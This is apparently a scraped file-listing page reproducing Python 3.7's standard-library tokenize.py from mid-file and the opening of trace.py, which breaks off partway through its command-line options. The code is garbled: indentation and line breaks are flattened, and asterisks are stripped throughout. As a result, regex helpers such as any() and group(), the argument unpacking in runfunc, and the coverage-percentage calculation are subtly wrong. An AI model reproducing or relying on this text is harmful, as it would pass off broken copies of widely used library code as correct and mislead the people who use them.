PLUSEQUAL, '-=': MINEQUAL, '=': STAREQUAL, '/=': SLASHEQUAL, '%=': PERCENTEQUAL, '&=': AMPEREQUAL, '\|=': VBAREQUAL, '^=': CIRCUMFLEXEQUAL, '<<=': LEFTSHIFTEQUAL, '>>=': RIGHTSHIFTEQUAL, '*=': DOUBLESTAREQUAL, '//': DOUBLESLASH, '//=': DOUBLESLASHEQUAL, '...': ELLIPSIS, '->': RARROW, '@': AT, '@=': ATEQUAL, } class TokenInfo(collections.namedtuple('TokenInfo', 'type string start end line')): def __repr__(self): annotated_type = '%d (%s)' % (self.type, tok_name[self.type]) return ('TokenInfo(type=%s, string=%r, start=%r, end=%r, line=%r)' % self._replace(type=annotated_type)) @property def exact_type(self): if self.type == OP and self.string in EXACT_TOKEN_TYPES: return EXACT_TOKEN_TYPES[self.string] else: return self.type def group(choices): return '(' + '\|'.join(choices) + ')' def any(choices): return group(choices) + '' def maybe(choices): return group(choices) + '?' # Note: we use unicode matching for names ("\w") but ascii matching for # number literals. Whitespace = r'[ \f\t]' Comment = r'#[^\r\n]' Ignore = Whitespace + any(r'\\\r?\n' + Whitespace) + maybe(Comment) Name = r'\w+' Hexnumber = r'0[xX](?:_?[0-9a-fA-F])+' Binnumber = r'0[bB](?:_?[01])+' Octnumber = r'0[oO](?:_?[0-7])+' Decnumber = r'(?:0(?:_?0)\|[1-9](?:_?[0-9]))' Intnumber = group(Hexnumber, Binnumber, Octnumber, Decnumber) Exponent = r'[eE][-+]?[0-9](?:_?[0-9])' Pointfloat = group(r'[0-9](?:_?[0-9])\.(?:[0-9](?:_?[0-9]))?', r'\.[0-9](?:_?[0-9])') + maybe(Exponent) Expfloat = r'[0-9](?:_?[0-9])' + Exponent Floatnumber = group(Pointfloat, Expfloat) Imagnumber = group(r'[0-9](?:_?[0-9])[jJ]', Floatnumber + r'[jJ]') Number = group(Imagnumber, Floatnumber, Intnumber) # Return the empty string, plus all of the valid string prefixes. def _all_string_prefixes(): # The valid string prefixes. Only contain the lower case versions, # and don't contain any permutations (include 'fr', but not # 'rf'). The various permutations will be generated. _valid_string_prefixes = ['b', 'r', 'u', 'f', 'br', 'fr'] # if we add binary f-strings, add: ['fb', 'fbr'] result = {''} for prefix in _valid_string_prefixes: for t in _itertools.permutations(prefix): # create a list with upper and lower versions of each # character for u in _itertools.product([(c, c.upper()) for c in t]): result.add(''.join(u)) return result def _compile(expr): return re.compile(expr, re.UNICODE) # Note that since _all_string_prefixes includes the empty string, # StringPrefix can be the empty string (making it optional). StringPrefix = group(_all_string_prefixes()) # Tail end of ' string. Single = r"[^'\\](?:\\.[^'\\])'" # Tail end of " string. Double = r'[^"\\](?:\\.[^"\\])"' # Tail end of ''' string. Single3 = r"[^'\\](?:(?:\\.\|'(?!''))[^'\\])'''" # Tail end of """ string. Double3 = r'[^"\\](?:(?:\\.\|"(?!""))[^"\\])"""' Triple = group(StringPrefix + "'''", StringPrefix + '"""') # Single-line ' or " string. String = group(StringPrefix + r"'[^\n'\\](?:\\.[^\n'\\])'", StringPrefix + r'"[^\n"\\](?:\\.[^\n"\\])"') # Because of leftmost-then-longest match semantics, be sure to put the # longest operators first (e.g., if = came before ==, == would get # recognized as two instances of =). Operator = group(r"\\=?", r">>=?", r"<<=?", r"!=", r"//=?", r"->", r"[+\-/%&@\|^=<>]=?", r"~") Bracket = '[][(){}]' Special = group(r'\r?\n', r'\.\.\.', r'[:;.,@]') Funny = group(Operator, Bracket, Special) PlainToken = group(Number, Funny, String, Name) Token = Ignore + PlainToken # First (or only) line of ' or " string. ContStr = group(StringPrefix + r"'[^\n'\\](?:\\.[^\n'\\])" + group("'", r'\\\r?\n'), StringPrefix + r'"[^\n"\\](?:\\.[^\n"\\])' + group('"', r'\\\r?\n')) PseudoExtras = group(r'\\\r?\n\|\Z', Comment, Triple) PseudoToken = Whitespace + group(PseudoExtras, Number, Funny, ContStr, Name) # For a given string prefix plus quotes, endpats maps it to a regex # to match the remainder of that string. _prefix can be empty, for # a normal single or triple quoted string (with no prefix). endpats = {} for _prefix in _all_string_prefixes(): endpats[_prefix + "'"] = Single endpats[_prefix + '"'] = Double endpats[_prefix + "'''"] = Single3 endpats[_prefix + '"""'] = Double3 # A set of all of the single and triple quoted string prefixes, # including the opening quotes. single_quoted = set() triple_quoted = set() for t in _all_string_prefixes(): for u in (t + '"', t + "'"): single_quoted.add(u) for u in (t + '"""', t + "'''"): triple_quoted.add(u) tabsize = 8 class TokenError(Exception): pass class StopTokenizing(Exception): pass class Untokenizer: def __init__(self): self.tokens = [] self.prev_row = 1 self.prev_col = 0 self.encoding = None def add_whitespace(self, start): row, col = start if row < self.prev_row or row == self.prev_row and col < self.prev_col: raise ValueError("start ({},{}) precedes previous end ({},{})" .format(row, col, self.prev_row, self.prev_col)) row_offset = row - self.prev_row if row_offset: self.tokens.append("\\\n" * row_offset) self.prev_col = 0 col_offset = col - self.prev_col if col_offset: self.tokens.append(" " * col_offset) def untokenize(self, iterable): it = iter(iterable) indents = [] startline = False for t in it: if len(t) == 2: self.compat(t, it) break tok_type, token, start, end, line = t if tok_type == ENCODING: self.encoding = token continue if tok_type == ENDMARKER: break if tok_type == INDENT: indents.append(token) continue elif tok_type == DEDENT: indents.pop() self.prev_row, self.prev_col = end continue elif tok_type in (NEWLINE, NL): startline = True elif startline and indents: indent = indents[-1] if start[1] >= len(indent): self.tokens.append(indent) self.prev_col = len(indent) startline = False self.add_whitespace(start) self.tokens.append(token) self.prev_row, self.prev_col = end if tok_type in (NEWLINE, NL): self.prev_row += 1 self.prev_col = 0 return "".join(self.tokens) def compat(self, token, iterable): indents = [] toks_append = self.tokens.append startline = token[0] in (NEWLINE, NL) prevstring = False for tok in chain([token], iterable): toknum, tokval = tok[:2] if toknum == ENCODING: self.encoding = tokval continue if toknum in (NAME, NUMBER): tokval += ' ' # Insert a space between two consecutive strings if toknum == STRING: if prevstring: tokval = ' ' + tokval prevstring = True else: prevstring = False if toknum == INDENT: indents.append(tokval) continue elif toknum == DEDENT: indents.pop() continue elif toknum in (NEWLINE, NL): startline = True elif startline and indents: toks_append(indents[-1]) startline = False toks_append(tokval) def untokenize(iterable): """Transform tokens back into Python source code. It returns a bytes object, encoded using the ENCODING token, which is the first token sequence output by tokenize. Each element returned by the iterable must be a token sequence with at least two elements, a token number and token value. If only two tokens are passed, the resulting output is poor. Round-trip invariant for full input: Untokenized source will match input source exactly Round-trip invariant for limited input: # Output bytes will tokenize back to the input t1 = [tok[:2] for tok in tokenize(f.readline)] newcode = untokenize(t1) readline = BytesIO(newcode).readline t2 = [tok[:2] for tok in tokenize(readline)] assert t1 == t2 """ ut = Untokenizer() out = ut.untokenize(iterable) if ut.encoding is not None: out = out.encode(ut.encoding) return out def _get_normal_name(orig_enc): """Imitates get_normal_name in tokenizer.c.""" # Only care about the first 12 characters. enc = orig_enc[:12].lower().replace("_", "-") if enc == "utf-8" or enc.startswith("utf-8-"): return "utf-8" if enc in ("latin-1", "iso-8859-1", "iso-latin-1") or \ enc.startswith(("latin-1-", "iso-8859-1-", "iso-latin-1-")): return "iso-8859-1" return orig_enc def detect_encoding(readline): """ The detect_encoding() function is used to detect the encoding that should be used to decode a Python source file. It requires one argument, readline, in the same way as the tokenize() generator. It will call readline a maximum of twice, and return the encoding used (as a string) and a list of any lines (left as bytes) it has read in. It detects the encoding from the presence of a utf-8 bom or an encoding cookie as specified in pep-0263. If both a bom and a cookie are present, but disagree, a SyntaxError will be raised. If the encoding cookie is an invalid charset, raise a SyntaxError. Note that if a utf-8 bom is found, 'utf-8-sig' is returned. If no encoding is specified, then the default of 'utf-8' will be returned. """ try: filename = readline.__self__.name except AttributeError: filename = None bom_found = False encoding = None default = 'utf-8' def read_or_stop(): try: return readline() except StopIteration: return b'' def find_cookie(line): try: # Decode as UTF-8. Either the line is an encoding declaration, # in which case it should be pure ASCII, or it must be UTF-8 # per default encoding. line_string = line.decode('utf-8') except UnicodeDecodeError: msg = "invalid or missing encoding declaration" if filename is not None: msg = '{} for {!r}'.format(msg, filename) raise SyntaxError(msg) match = cookie_re.match(line_string) if not match: return None encoding = _get_normal_name(match.group(1)) try: codec = lookup(encoding) except LookupError: # This behaviour mimics the Python interpreter if filename is None: msg = "unknown encoding: " + encoding else: msg = "unknown encoding for {!r}: {}".format(filename, encoding) raise SyntaxError(msg) if bom_found: if encoding != 'utf-8': # This behaviour mimics the Python interpreter if filename is None: msg = 'encoding problem: utf-8' else: msg = 'encoding problem for {!r}: utf-8'.format(filename) raise SyntaxError(msg) encoding += '-sig' return encoding first = read_or_stop() if first.startswith(BOM_UTF8): bom_found = True first = first[3:] default = 'utf-8-sig' if not first: return default, [] encoding = find_cookie(first) if encoding: return encoding, [first] if not blank_re.match(first): return default, [first] second = read_or_stop() if not second: return default, [first] encoding = find_cookie(second) if encoding: return encoding, [first, second] return default, [first, second] def open(filename): """Open a file in read only mode using the encoding detected by detect_encoding(). """ buffer = _builtin_open(filename, 'rb') try: encoding, lines = detect_encoding(buffer.readline) buffer.seek(0) text = TextIOWrapper(buffer, encoding, line_buffering=True) text.mode = 'r' return text except: buffer.close() raise def tokenize(readline): """ The tokenize() generator requires one argument, readline, which must be a callable object which provides the same interface as the readline() method of built-in file objects. Each call to the function should return one line of input as bytes. Alternatively, readline can be a callable function terminating with StopIteration: readline = open(myfile, 'rb').__next__ # Example of alternate readline The generator produces 5-tuples with these members: the token type; the token string; a 2-tuple (srow, scol) of ints specifying the row and column where the token begins in the source; a 2-tuple (erow, ecol) of ints specifying the row and column where the token ends in the source; and the line on which the token was found. The line passed is the logical line; continuation lines are included. The first token sequence will always be an ENCODING token which tells you which encoding was used to decode the bytes stream. """ # This import is here to avoid problems when the itertools module is not # built yet and tokenize is imported. from itertools import chain, repeat encoding, consumed = detect_encoding(readline) rl_gen = iter(readline, b"") empty = repeat(b"") return _tokenize(chain(consumed, rl_gen, empty).__next__, encoding) def _tokenize(readline, encoding): lnum = parenlev = continued = 0 numchars = '0123456789' contstr, needcont = '', 0 contline = None indents = [0] if encoding is not None: if encoding == "utf-8-sig": # BOM will already have been stripped. encoding = "utf-8" yield TokenInfo(ENCODING, encoding, (0, 0), (0, 0), '') last_line = b'' line = b'' while True: # loop over lines in stream try: # We capture the value of the line variable here because # readline uses the empty string '' to signal end of input, # hence `line` itself will always be overwritten at the end # of this loop. last_line = line line = readline() except StopIteration: line = b'' if encoding is not None: line = line.decode(encoding) lnum += 1 pos, max = 0, len(line) if contstr: # continued string if not line: raise TokenError("EOF in multi-line string", strstart) endmatch = endprog.match(line) if endmatch: pos = end = endmatch.end(0) yield TokenInfo(STRING, contstr + line[:end], strstart, (lnum, end), contline + line) contstr, needcont = '', 0 contline = None elif needcont and line[-2:] != '\\\n' and line[-3:] != '\\\r\n': yield TokenInfo(ERRORTOKEN, contstr + line, strstart, (lnum, len(line)), contline) contstr = '' contline = None continue else: contstr = contstr + line contline = contline + line continue elif parenlev == 0 and not continued: # new statement if not line: break column = 0 while pos < max: # measure leading whitespace if line[pos] == ' ': column += 1 elif line[pos] == '\t': column = (column//tabsize + 1)*tabsize elif line[pos] == '\f': column = 0 else: break pos += 1 if pos == max: break if line[pos] in '#\r\n': # skip comments or blank lines if line[pos] == '#': comment_token = line[pos:].rstrip('\r\n') yield TokenInfo(COMMENT, comment_token, (lnum, pos), (lnum, pos + len(comment_token)), line) pos += len(comment_token) yield TokenInfo(NL, line[pos:], (lnum, pos), (lnum, len(line)), line) continue if column > indents[-1]: # count indents or dedents indents.append(column) yield TokenInfo(INDENT, line[:pos], (lnum, 0), (lnum, pos), line) while column < indents[-1]: if column not in indents: raise IndentationError( "unindent does not match any outer indentation level", ("<tokenize>", lnum, pos, line)) indents = indents[:-1] yield TokenInfo(DEDENT, '', (lnum, pos), (lnum, pos), line) else: # continued statement if not line: raise TokenError("EOF in multi-line statement", (lnum, 0)) continued = 0 while pos < max: pseudomatch = _compile(PseudoToken).match(line, pos) if pseudomatch: # scan for tokens start, end = pseudomatch.span(1) spos, epos, pos = (lnum, start), (lnum, end), end if start == end: continue token, initial = line[start:end], line[start] if (initial in numchars or # ordinary number (initial == '.' and token != '.' and token != '...')): yield TokenInfo(NUMBER, token, spos, epos, line) elif initial in '\r\n': if parenlev > 0: yield TokenInfo(NL, token, spos, epos, line) else: yield TokenInfo(NEWLINE, token, spos, epos, line) elif initial == '#': assert not token.endswith("\n") yield TokenInfo(COMMENT, token, spos, epos, line) elif token in triple_quoted: endprog = _compile(endpats[token]) endmatch = endprog.match(line, pos) if endmatch: # all on one line pos = endmatch.end(0) token = line[start:pos] yield TokenInfo(STRING, token, spos, (lnum, pos), line) else: strstart = (lnum, start) # multiple lines contstr = line[start:] contline = line break # Check up to the first 3 chars of the token to see if # they're in the single_quoted set. If so, they start # a string. # We're using the first 3, because we're looking for # "rb'" (for example) at the start of the token. If # we switch to longer prefixes, this needs to be # adjusted. # Note that initial == token[:1]. # Also note that single quote checking must come after # triple quote checking (above). elif (initial in single_quoted or token[:2] in single_quoted or token[:3] in single_quoted): if token[-1] == '\n': # continued string strstart = (lnum, start) # Again, using the first 3 chars of the # token. This is looking for the matching end # regex for the correct type of quote # character. So it's really looking for # endpats["'"] or endpats['"'], by trying to # skip string prefix characters, if any. endprog = _compile(endpats.get(initial) or endpats.get(token[1]) or endpats.get(token[2])) contstr, needcont = line[start:], 1 contline = line break else: # ordinary string yield TokenInfo(STRING, token, spos, epos, line) elif initial.isidentifier(): # ordinary name yield TokenInfo(NAME, token, spos, epos, line) elif initial == '\\': # continued stmt continued = 1 else: if initial in '([{': parenlev += 1 elif initial in ')]}': parenlev -= 1 yield TokenInfo(OP, token, spos, epos, line) else: yield TokenInfo(ERRORTOKEN, line[pos], (lnum, pos), (lnum, pos+1), line) pos += 1 # Add an implicit NEWLINE if the input doesn't end in one if last_line and last_line[-1] not in '\r\n': yield TokenInfo(NEWLINE, '', (lnum - 1, len(last_line)), (lnum - 1, len(last_line) + 1), '') for indent in indents[1:]: # pop remaining indent levels yield TokenInfo(DEDENT, '', (lnum, 0), (lnum, 0), '') yield TokenInfo(ENDMARKER, '', (lnum, 0), (lnum, 0), '') # An undocumented, backwards compatible, API for all the places in the standard # library that expect to be able to use tokenize with strings def generate_tokens(readline): return _tokenize(readline, None) def main(): import argparse # Helper error handling routines def perror(message): print(message, file=sys.stderr) def error(message, filename=None, location=None): if location: args = (filename,) + location + (message,) perror("%s:%d:%d: error: %s" % args) elif filename: perror("%s: error: %s" % (filename, message)) else: perror("error: %s" % message) sys.exit(1) # Parse the arguments and options parser = argparse.ArgumentParser(prog='python -m tokenize') parser.add_argument(dest='filename', nargs='?', metavar='filename.py', help='the file to tokenize; defaults to stdin') parser.add_argument('-e', '--exact', dest='exact', action='store_true', help='display token names using the exact type') args = parser.parse_args() try: # Tokenize the input if args.filename: filename = args.filename with _builtin_open(filename, 'rb') as f: tokens = list(tokenize(f.readline)) else: filename = "<stdin>" tokens = _tokenize(sys.stdin.readline, None) # Output the tokenization for token in tokens: token_type = token.type if args.exact: token_type = token.exact_type token_range = "%d,%d-%d,%d:" % (token.start + token.end) print("%-20s%-15s%-15r" % (token_range, tok_name[token_type], token.string)) except IndentationError as err: line, column = err.args[1][1:3] error(err.args[0], filename, (line, column)) except TokenError as err: line, column = err.args[1] error(err.args[0], filename, (line, column)) except SyntaxError as err: error(err, filename) except OSError as err: error(err) except KeyboardInterrupt: print("interrupted\n") except Exception as err: perror("unexpected error: %s" % err) raise if __name__ == "__main__": main()	26.4 KB	2024-04-17 17:55
📄 trace.py #! /opt/alt/python37/bin/python3.7 # portions copyright 2001, Autonomous Zones Industries, Inc., all rights... # err... reserved and offered to the public under the terms of the # Python 2.2 license. # Author: Zooko O'Whielacronx # http://zooko.com/ # mailto:zooko@zooko.com # # Copyright 2000, Mojam Media, Inc., all rights reserved. # Author: Skip Montanaro # # Copyright 1999, Bioreason, Inc., all rights reserved. # Author: Andrew Dalke # # Copyright 1995-1997, Automatrix, Inc., all rights reserved. # Author: Skip Montanaro # # Copyright 1991-1995, Stichting Mathematisch Centrum, all rights reserved. # # # Permission to use, copy, modify, and distribute this Python software and # its associated documentation for any purpose without fee is hereby # granted, provided that the above copyright notice appears in all copies, # and that both that copyright notice and this permission notice appear in # supporting documentation, and that the name of neither Automatrix, # Bioreason or Mojam Media be used in advertising or publicity pertaining to # distribution of the software without specific, written prior permission. # """program/module to trace Python program or function execution Sample use, command line: trace.py -c -f counts --ignore-dir '$prefix' spam.py eggs trace.py -t --ignore-dir '$prefix' spam.py eggs trace.py --trackcalls spam.py eggs Sample use, programmatically import sys # create a Trace object, telling it what to ignore, and whether to # do tracing or line-counting or both. tracer = trace.Trace(ignoredirs=[sys.base_prefix, sys.base_exec_prefix,], trace=0, count=1) # run the new command using the given tracer tracer.run('main()') # make a report, placing output in /tmp r = tracer.results() r.write_results(show_missing=True, coverdir="/tmp") """ __all__ = ['Trace', 'CoverageResults'] import linecache import os import re import sys import sysconfig import token import tokenize import inspect import gc import dis import pickle from time import monotonic as _time import threading PRAGMA_NOCOVER = "#pragma NO COVER" class _Ignore: def __init__(self, modules=None, dirs=None): self._mods = set() if not modules else set(modules) self._dirs = [] if not dirs else [os.path.normpath(d) for d in dirs] self._ignore = { '<string>': 1 } def names(self, filename, modulename): if modulename in self._ignore: return self._ignore[modulename] # haven't seen this one before, so see if the module name is # on the ignore list. if modulename in self._mods: # Identical names, so ignore self._ignore[modulename] = 1 return 1 # check if the module is a proper submodule of something on # the ignore list for mod in self._mods: # Need to take some care since ignoring # "cmp" mustn't mean ignoring "cmpcache" but ignoring # "Spam" must also mean ignoring "Spam.Eggs". if modulename.startswith(mod + '.'): self._ignore[modulename] = 1 return 1 # Now check that filename isn't in one of the directories if filename is None: # must be a built-in, so we must ignore self._ignore[modulename] = 1 return 1 # Ignore a file when it contains one of the ignorable paths for d in self._dirs: # The '+ os.sep' is to ensure that d is a parent directory, # as compared to cases like: # d = "/usr/local" # filename = "/usr/local.py" # or # d = "/usr/local.py" # filename = "/usr/local.py" if filename.startswith(d + os.sep): self._ignore[modulename] = 1 return 1 # Tried the different ways, so we don't ignore this module self._ignore[modulename] = 0 return 0 def _modname(path): """Return a plausible module name for the patch.""" base = os.path.basename(path) filename, ext = os.path.splitext(base) return filename def _fullmodname(path): """Return a plausible module name for the path.""" # If the file 'path' is part of a package, then the filename isn't # enough to uniquely identify it. Try to do the right thing by # looking in sys.path for the longest matching prefix. We'll # assume that the rest is the package name. comparepath = os.path.normcase(path) longest = "" for dir in sys.path: dir = os.path.normcase(dir) if comparepath.startswith(dir) and comparepath[len(dir)] == os.sep: if len(dir) > len(longest): longest = dir if longest: base = path[len(longest) + 1:] else: base = path # the drive letter is never part of the module name drive, base = os.path.splitdrive(base) base = base.replace(os.sep, ".") if os.altsep: base = base.replace(os.altsep, ".") filename, ext = os.path.splitext(base) return filename.lstrip(".") class CoverageResults: def __init__(self, counts=None, calledfuncs=None, infile=None, callers=None, outfile=None): self.counts = counts if self.counts is None: self.counts = {} self.counter = self.counts.copy() # map (filename, lineno) to count self.calledfuncs = calledfuncs if self.calledfuncs is None: self.calledfuncs = {} self.calledfuncs = self.calledfuncs.copy() self.callers = callers if self.callers is None: self.callers = {} self.callers = self.callers.copy() self.infile = infile self.outfile = outfile if self.infile: # Try to merge existing counts file. try: with open(self.infile, 'rb') as f: counts, calledfuncs, callers = pickle.load(f) self.update(self.__class__(counts, calledfuncs, callers)) except (OSError, EOFError, ValueError) as err: print(("Skipping counts file %r: %s" % (self.infile, err)), file=sys.stderr) def is_ignored_filename(self, filename): """Return True if the filename does not refer to a file we want to have reported. """ return filename.startswith('<') and filename.endswith('>') def update(self, other): """Merge in the data from another CoverageResults""" counts = self.counts calledfuncs = self.calledfuncs callers = self.callers other_counts = other.counts other_calledfuncs = other.calledfuncs other_callers = other.callers for key in other_counts: counts[key] = counts.get(key, 0) + other_counts[key] for key in other_calledfuncs: calledfuncs[key] = 1 for key in other_callers: callers[key] = 1 def write_results(self, show_missing=True, summary=False, coverdir=None): """ Write the coverage results. :param show_missing: Show lines that had no hits. :param summary: Include coverage summary per module. :param coverdir: If None, the results of each module are placed in its directory, otherwise it is included in the directory specified. """ if self.calledfuncs: print() print("functions called:") calls = self.calledfuncs for filename, modulename, funcname in sorted(calls): print(("filename: %s, modulename: %s, funcname: %s" % (filename, modulename, funcname))) if self.callers: print() print("calling relationships:") lastfile = lastcfile = "" for ((pfile, pmod, pfunc), (cfile, cmod, cfunc)) \ in sorted(self.callers): if pfile != lastfile: print() print("*", pfile, "") lastfile = pfile lastcfile = "" if cfile != pfile and lastcfile != cfile: print(" -->", cfile) lastcfile = cfile print(" %s.%s -> %s.%s" % (pmod, pfunc, cmod, cfunc)) # turn the counts data ("(filename, lineno) = count") into something # accessible on a per-file basis per_file = {} for filename, lineno in self.counts: lines_hit = per_file[filename] = per_file.get(filename, {}) lines_hit[lineno] = self.counts[(filename, lineno)] # accumulate summary info, if needed sums = {} for filename, count in per_file.items(): if self.is_ignored_filename(filename): continue if filename.endswith(".pyc"): filename = filename[:-1] if coverdir is None: dir = os.path.dirname(os.path.abspath(filename)) modulename = _modname(filename) else: dir = coverdir if not os.path.exists(dir): os.makedirs(dir) modulename = _fullmodname(filename) # If desired, get a list of the line numbers which represent # executable content (returned as a dict for better lookup speed) if show_missing: lnotab = _find_executable_linenos(filename) else: lnotab = {} source = linecache.getlines(filename) coverpath = os.path.join(dir, modulename + ".cover") with open(filename, 'rb') as fp: encoding, _ = tokenize.detect_encoding(fp.readline) n_hits, n_lines = self.write_results_file(coverpath, source, lnotab, count, encoding) if summary and n_lines: percent = int(100 n_hits / n_lines) sums[modulename] = n_lines, percent, modulename, filename if summary and sums: print("lines cov% module (path)") for m in sorted(sums): n_lines, percent, modulename, filename = sums[m] print("%5d %3d%% %s (%s)" % sums[m]) if self.outfile: # try and store counts and module info into self.outfile try: pickle.dump((self.counts, self.calledfuncs, self.callers), open(self.outfile, 'wb'), 1) except OSError as err: print("Can't save counts files because %s" % err, file=sys.stderr) def write_results_file(self, path, lines, lnotab, lines_hit, encoding=None): """Return a coverage results file in path.""" # ``lnotab`` is a dict of executable lines, or a line number "table" try: outfile = open(path, "w", encoding=encoding) except OSError as err: print(("trace: Could not open %r for writing: %s " "- skipping" % (path, err)), file=sys.stderr) return 0, 0 n_lines = 0 n_hits = 0 with outfile: for lineno, line in enumerate(lines, 1): # do the blank/comment match to try to mark more lines # (help the reader find stuff that hasn't been covered) if lineno in lines_hit: outfile.write("%5d: " % lines_hit[lineno]) n_hits += 1 n_lines += 1 elif lineno in lnotab and not PRAGMA_NOCOVER in line: # Highlight never-executed lines, unless the line contains # #pragma: NO COVER outfile.write(">>>>>> ") n_lines += 1 else: outfile.write(" ") outfile.write(line.expandtabs(8)) return n_hits, n_lines def _find_lines_from_code(code, strs): """Return dict where keys are lines in the line number table.""" linenos = {} for _, lineno in dis.findlinestarts(code): if lineno not in strs: linenos[lineno] = 1 return linenos def _find_lines(code, strs): """Return lineno dict for all code objects reachable from code.""" # get all of the lineno information from the code of this scope level linenos = _find_lines_from_code(code, strs) # and check the constants for references to other code objects for c in code.co_consts: if inspect.iscode(c): # find another code object, so recurse into it linenos.update(_find_lines(c, strs)) return linenos def _find_strings(filename, encoding=None): """Return a dict of possible docstring positions. The dict maps line numbers to strings. There is an entry for line that contains only a string or a part of a triple-quoted string. """ d = {} # If the first token is a string, then it's the module docstring. # Add this special case so that the test in the loop passes. prev_ttype = token.INDENT with open(filename, encoding=encoding) as f: tok = tokenize.generate_tokens(f.readline) for ttype, tstr, start, end, line in tok: if ttype == token.STRING: if prev_ttype == token.INDENT: sline, scol = start eline, ecol = end for i in range(sline, eline + 1): d[i] = 1 prev_ttype = ttype return d def _find_executable_linenos(filename): """Return dict where keys are line numbers in the line number table.""" try: with tokenize.open(filename) as f: prog = f.read() encoding = f.encoding except OSError as err: print(("Not printing coverage data for %r: %s" % (filename, err)), file=sys.stderr) return {} code = compile(prog, filename, "exec") strs = _find_strings(filename, encoding) return _find_lines(code, strs) class Trace: def __init__(self, count=1, trace=1, countfuncs=0, countcallers=0, ignoremods=(), ignoredirs=(), infile=None, outfile=None, timing=False): """ @param count true iff it should count number of times each line is executed @param trace true iff it should print out each line that is being counted @param countfuncs true iff it should just output a list of (filename, modulename, funcname,) for functions that were called at least once; This overrides `count' and `trace' @param ignoremods a list of the names of modules to ignore @param ignoredirs a list of the names of directories to ignore all of the (recursive) contents of @param infile file from which to read stored counts to be added into the results @param outfile file in which to write the results @param timing true iff timing information be displayed """ self.infile = infile self.outfile = outfile self.ignore = _Ignore(ignoremods, ignoredirs) self.counts = {} # keys are (filename, linenumber) self.pathtobasename = {} # for memoizing os.path.basename self.donothing = 0 self.trace = trace self._calledfuncs = {} self._callers = {} self._caller_cache = {} self.start_time = None if timing: self.start_time = _time() if countcallers: self.globaltrace = self.globaltrace_trackcallers elif countfuncs: self.globaltrace = self.globaltrace_countfuncs elif trace and count: self.globaltrace = self.globaltrace_lt self.localtrace = self.localtrace_trace_and_count elif trace: self.globaltrace = self.globaltrace_lt self.localtrace = self.localtrace_trace elif count: self.globaltrace = self.globaltrace_lt self.localtrace = self.localtrace_count else: # Ahem -- do nothing? Okay. self.donothing = 1 def run(self, cmd): import __main__ dict = __main__.__dict__ self.runctx(cmd, dict, dict) def runctx(self, cmd, globals=None, locals=None): if globals is None: globals = {} if locals is None: locals = {} if not self.donothing: threading.settrace(self.globaltrace) sys.settrace(self.globaltrace) try: exec(cmd, globals, locals) finally: if not self.donothing: sys.settrace(None) threading.settrace(None) def runfunc(args, kw): if len(args) >= 2: self, func, args = args elif not args: raise TypeError("descriptor 'runfunc' of 'Trace' object " "needs an argument") elif 'func' in kw: func = kw.pop('func') self, args = args else: raise TypeError('runfunc expected at least 1 positional argument, ' 'got %d' % (len(args)-1)) result = None if not self.donothing: sys.settrace(self.globaltrace) try: result = func(args, *kw) finally: if not self.donothing: sys.settrace(None) return result def file_module_function_of(self, frame): code = frame.f_code filename = code.co_filename if filename: modulename = _modname(filename) else: modulename = None funcname = code.co_name clsname = None if code in self._caller_cache: if self._caller_cache[code] is not None: clsname = self._caller_cache[code] else: self._caller_cache[code] = None ## use of gc.get_referrers() was suggested by Michael Hudson # all functions which refer to this code object funcs = [f for f in gc.get_referrers(code) if inspect.isfunction(f)] # require len(func) == 1 to avoid ambiguity caused by calls to # new.function(): "In the face of ambiguity, refuse the # temptation to guess." if len(funcs) == 1: dicts = [d for d in gc.get_referrers(funcs[0]) if isinstance(d, dict)] if len(dicts) == 1: classes = [c for c in gc.get_referrers(dicts[0]) if hasattr(c, "__bases__")] if len(classes) == 1: # ditto for new.classobj() clsname = classes[0].__name__ # cache the result - assumption is that new. is # not called later to disturb this relationship # _caller_cache could be flushed if functions in # the new module get called. self._caller_cache[code] = clsname if clsname is not None: funcname = "%s.%s" % (clsname, funcname) return filename, modulename, funcname def globaltrace_trackcallers(self, frame, why, arg): """Handler for call events. Adds information about who called who to the self._callers dict. """ if why == 'call': # XXX Should do a better job of identifying methods this_func = self.file_module_function_of(frame) parent_func = self.file_module_function_of(frame.f_back) self._callers[(parent_func, this_func)] = 1 def globaltrace_countfuncs(self, frame, why, arg): """Handler for call events. Adds (filename, modulename, funcname) to the self._calledfuncs dict. """ if why == 'call': this_func = self.file_module_function_of(frame) self._calledfuncs[this_func] = 1 def globaltrace_lt(self, frame, why, arg): """Handler for call events. If the code block being entered is to be ignored, returns `None', else returns self.localtrace. """ if why == 'call': code = frame.f_code filename = frame.f_globals.get('__file__', None) if filename: # XXX _modname() doesn't work right for packages, so # the ignore support won't work right for packages modulename = _modname(filename) if modulename is not None: ignore_it = self.ignore.names(filename, modulename) if not ignore_it: if self.trace: print((" --- modulename: %s, funcname: %s" % (modulename, code.co_name))) return self.localtrace else: return None def localtrace_trace_and_count(self, frame, why, arg): if why == "line": # record the file name and line number of every trace filename = frame.f_code.co_filename lineno = frame.f_lineno key = filename, lineno self.counts[key] = self.counts.get(key, 0) + 1 if self.start_time: print('%.2f' % (_time() - self.start_time), end=' ') bname = os.path.basename(filename) print("%s(%d): %s" % (bname, lineno, linecache.getline(filename, lineno)), end='') return self.localtrace def localtrace_trace(self, frame, why, arg): if why == "line": # record the file name and line number of every trace filename = frame.f_code.co_filename lineno = frame.f_lineno if self.start_time: print('%.2f' % (_time() - self.start_time), end=' ') bname = os.path.basename(filename) print("%s(%d): %s" % (bname, lineno, linecache.getline(filename, lineno)), end='') return self.localtrace def localtrace_count(self, frame, why, arg): if why == "line": filename = frame.f_code.co_filename lineno = frame.f_lineno key = filename, lineno self.counts[key] = self.counts.get(key, 0) + 1 return self.localtrace def results(self): return CoverageResults(self.counts, infile=self.infile, outfile=self.outfile, calledfuncs=self._calledfuncs, callers=self._callers) def main(): import argparse parser = argparse.ArgumentParser() parser.add_argument('--version', action='version', version='trace 2.0') grp = parser.add_argument_group('Main options', 'One of these (or --report) must be given') grp.add_argument('-c', '--count', action='store_true', help='Count the number of times each line is executed and write ' 'the counts to <module>.cover for each module executed, in ' 'the module\'s directory. See also --coverdir, --file, ' '--no-report below.') grp.add_argument('-t', '--trace', action='store_true', help='Print each line to sys.stdout before it is executed') grp.add_argument('-l', '--listfuncs', action='store_true', help='Keep track of which functions are executed at least once ' 'and write the results to sys.stdout after the program exits. ' 'Cannot be specified alongside --trace or --count.') grp.add_argument('-T', '--trackcalls', action='store_true', help='Keep track of caller/called pairs and write the results to ' 'sys.stdout after the program exits.') grp = parser.add_argument_group('Modifiers') _grp = grp.add_mutually_exclusive_group() _grp.add_argument('-r', '--report', action='store_true', help='Generate a report from a counts file; does not execute any ' 